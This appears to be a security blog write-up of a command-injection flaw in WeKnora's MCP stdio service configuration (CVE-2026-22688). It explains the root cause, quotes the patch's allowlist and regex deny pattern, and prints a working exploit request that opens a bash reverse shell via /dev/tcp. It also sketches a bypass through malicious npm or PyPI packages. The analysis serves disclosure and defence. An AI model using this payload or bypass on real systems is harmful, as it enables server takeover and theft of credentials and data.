WeKnora RCE: When 'Model Context' Becomes 'Shell Context'
Jan 11, 2026·6 min read
Executive Summary (TL;DR)
WeKnora, an LLM framework by Tencent, failed to sanitize inputs for its Model Context Protocol (MCP) service integration. Specifically, when configuring an MCP service to use the `stdio` transport, the application accepted raw strings for the executable command and its arguments. This allowed attackers to define the `command` as `bash` (or any other binary) and pass malicious payloads, resulting in immediate Remote Code Execution (RCE) with the privileges of the WeKnora process. The flaw is patched in version 0.2.5.
A critical command injection vulnerability in the WeKnora LLM framework allows authenticated users to execute arbitrary system commands via the Model Context Protocol (MCP) configuration. By exploiting the `stdio` transport type, attackers can escape the application logic and seize control of the underlying server.
The Hook: Bringing Tools to the Knife Fight
In the modern AI landscape, an LLM without tools is just a fancy autocomplete engine. Enter the Model Context Protocol (MCP), a standardized way for AI assistants to interface with external data and utilities. WeKnora, Tencent's open-source framework for document understanding, implemented MCP to give its agents superpowers. It allows users to define 'services'—essentially external programs that the LLM can invoke to fetch data or perform actions.
One of the transport mechanisms for these services is stdio. The concept is simple: the main WeKnora application spawns a subprocess, talks to it via Standard Input, and listens to Standard Output. It's the Unix philosophy in action, and it's elegant. However, whenever a web application decides to spawn a subprocess based on user configuration, security researchers should start salivating.
The feature allows users to specify exactly which binary to run and what arguments to pass. In a perfect world, this would be restricted to a tight list of safe binaries. In WeKnora's world (pre-0.2.5), it was the Wild West. The application essentially said, "You want to run a program? Sure, tell me which one, and I'll execute it for you." It’s the equivalent of handing a loaded gun to a stranger and asking them to hold it while you tie your shoe.
The Flaw: Trusting the Configuration
The root cause of CVE-2026-22688 is a classic case of Unrestricted Command Line Argument Injection. When an authenticated user creates an MCP service, they submit a JSON payload defining the configuration. If they choose transport_type: "stdio", they also provide a stdio_config object containing a command string and an args array.
The developers likely assumed that since this feature is for 'authenticated' users (admins or developers setting up tools), those users would be benevolent. But in security, 'authenticated' does not mean 'trusted'. The code took these parameters and fed them directly into Go's os/exec (or the underlying mcp-go library's equivalent) without a shred of validation.
There was no whitelist of allowed binaries. There was no sanitization of arguments. If you told WeKnora that your MCP service was /bin/bash and your argument was a reverse shell one-liner, WeKnora would dutifully execute it. The system failed to distinguish between "running a helpful data retrieval script" and "running a system destruction utility". It treated all subprocess requests as legitimate business logic.
The Code: The Smoking Gun
Let's look at what changed in the patch to understand how open the door really was. The fix was introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb. Before this commit, the configuration handling was effectively a pass-through.
The patch introduces a massive validation function, ValidateStdioConfig, in internal/utils/security.go. It shifts the logic from "allow everything" to "deny almost everything".
Here is a snippet of the remediation logic which highlights just how dangerous the previous state was:
// The new sheriff in town: ValidateStdioConfig
func ValidateStdioConfig(config models.StdioConfig) error {
// 1. Whitelist binaries. Only these two are allowed now.
allowedCommands := map[string]bool{
"uvx": true,
"npx": true,
}
if !allowedCommands[config.Command] {
return fmt.Errorf("command not allowed: %s (only uvx, npx are allowed)", config.Command)
}
// 2. Blacklist dangerous arguments
// This regex blocks flags like -c, -e, and shell operators like |, &, ;
dangerousPattern := regexp.MustCompile(`(?i)(^|\s)(-|--)(c|command|e|eval|i|interactive)($|\s)|[;&|\$` + "`" + `]|\.\.|^/|/bin/|/usr/|/etc/`)
for _, arg := range config.Args {
if dangerousPattern.MatchString(arg) {
return fmt.Errorf("argument contains dangerous pattern: %s", arg)
}
}
// ... env var checks ...
}[!NOTE] The fact that the developers had to explicitly blacklist
/bin/and;implies that previously, any binary path and any shell metacharacter was fair game. They effectively moved from a blacklist of "nothing" to a whitelist of strictlynpxanduvx.
The Exploit: Pwning the Framework
Exploiting this is trivially easy if you have credentials to access the WeKnora dashboard or API. You don't need complex memory corruption or race conditions; you just need to ask the server nicely. The attack vector targets the POST /api/v1/mcp-services endpoint.
First, we create a malicious service definition. We aren't going to define a helpful LLM tool; we're going to define a wrapper for bash. We set the transport to stdio and pass our payload in the arguments.
POST /api/v1/mcp-services HTTP/1.1
Host: target-weknora.local
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>
{
"name": "SystemUpgrade_Service",
"transport_type": "stdio",
"stdio_config": {
"command": "bash",
"args": [
"-c",
"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
]
},
"enabled": true
}Once the service is created, we just need to trigger it. We can do this by hitting the test endpoint, designed to verify that the MCP service is responding correctly. This forces the server to spawn the subprocess immediately.
POST /api/v1/mcp-services/{SERVICE_ID}/test HTTP/1.1
Host: target-weknora.localThe moment this request is processed, the server executes bash -c .... The WeKnora process hangs while it connects back to our listener at 10.0.0.1:4444. We now have a shell on the box.
The Impact: Total Compromise
The impact here is maximum severity (CVSS 10.0 according to some assessments, 9.9 typically). We aren't just stealing a database row; we are executing code on the underlying operating system. The privileges depend on the user running the WeKnora process, but in containerized environments, this often defaults to root or a user with significant access to mounted volumes.
Since WeKnora is an LLM framework, it likely has access to: 1. Vector Databases: Containing semantic data, often proprietary enterprise knowledge. 2. API Keys: Stored in environment variables (OpenAI, Anthropic, AWS keys). 3. Internal Networks: The server is likely sitting deep inside a corporate network to access internal documents.
By popping a shell here, an attacker can pivot laterally, exfiltrate the entire knowledge base (which is exactly what the tool was built to index!), and steal the API credits used to power the LLM.
The Fix & The Bypass Theory
The fix in version 0.2.5 is aggressive. By locking the allowable commands to uvx (Python) and npx (Node.js), WeKnora attempts to force the user to stick to the intended use case: running MCP servers distributed as packages. They also added regex validation to block flags like -c or --eval, preventing users from doing npx -c "rm -rf /".
However, this fix relies on the assumption that uvx and npx are safe execution harnesses. This is a shaky assumption. These tools are designed to download and execute code. A determined attacker could publish a malicious package to npm or PyPI (e.g., mcp-server-innocent-looking) that contains the exploit code.
If the WeKnora server has internet access (which it needs to download valid packages), an attacker could configure the service to run npx malicious-package. The validator would see npx (allowed) and a package name (no dangerous flags), and pass it. npx would then download the package and execute it, granting RCE again. This highlights the difficulty of securing a feature that is designed to execute external code.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
WeKnora Tencent | < 0.2.5 | 0.2.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-77 (Command Injection) |
| Attack Vector | Network (Authenticated) |
| CVSS Score | 9.9 (Critical) |
| Impact | Remote Code Execution (RCE) |
| Patch Commit | f7900a5e9a18c99d25cec9589ead9e4e59ce04bb |
| Exploit Status | Trivial / PoC Available |
MITRE ATT&CK Mapping
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.